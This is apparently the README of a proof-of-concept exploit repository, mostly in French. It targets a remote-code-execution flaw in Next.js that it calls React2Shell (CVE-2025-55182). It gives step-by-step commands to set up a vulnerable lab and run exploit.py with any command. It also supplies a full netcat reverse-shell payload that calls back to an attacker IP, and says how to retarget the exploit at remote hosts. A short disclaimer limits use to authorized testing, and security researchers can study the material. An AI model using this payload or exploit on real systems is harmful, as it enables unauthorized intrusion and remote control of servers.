
Un exploit de preuve de concept démontrant une vulnérabilité d'exécution de code à distance dans les applications Next.js via une pollution de prototype dans le pipeline de rendu des composants serveur React.
Cet outil est réservé à des fins éducatives et de tests autorisés uniquement. Toute utilisation non autorisée contre des systèmes dont vous n'êtes pas propriétaire ou pour lesquels vous n'avez pas la permission de tester est illégale.
git clone https://github.com/securifyai/React2Shell-CVE-2025-55182.git
cd React2Shell-CVE-2025-55182
# Create a new Next.js app with the vulnerable version
npm create [email protected] react2shell-lab
# Accept all defaults when prompted
cd react2shell-lab
Remarque : Le laboratoire préconfiguré inclut déjà le code vulnérable nécessaire. Si vous créez le projet à partir de zéro, vous devrez ajouter manuellement les composants vulnérables.
cd react2shell-lab
npm install
Dans le terminal 1 :
npm run dev
Le serveur devrait démarrer sur http://localhost:3000
Le dépôt contient un fichier exploit.py qui démontre la vulnérabilité. Modifiez la variable COMMAND dans le fichier avec la commande souhaitée :
COMMAND = 'whoami' # Change this to any command you want to execute
Exécutez l'exploit :
python3 exploit.py
Configurez un écouteur netcat dans un nouveau terminal :
nc -nvlp 4444
Modifiez exploit.py et mettez à jour la commande avec votre charge utile de reverse shell :
COMMAND = 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc YOUR_IP 4444 >/tmp/f'
Remplacez YOUR_IP par l'adresse IP de votre machine locale.
Exécutez l'exploit :
python3 exploit.py
Modifiez la variable HOST dans le script d'exploit pour cibler des serveurs distants :
HOST = 'target-ip-address' # Replace with target IP
PORT = 3000 # Default Next.js port
ls -launame -awhoamiifconfig ou ip aCe projet est sous licence MIT - voir le fichier LICENSE pour plus de détails.
Cette version demande à l'utilisateur de saisir la cible distante ainsi que les IP et ports de l'attaquant. Le corps de la requête POST (body_parts) est également légèrement réduit dans cette version.
https://www.averlon.ai/blog/react2shell-cve-2025-55182-explained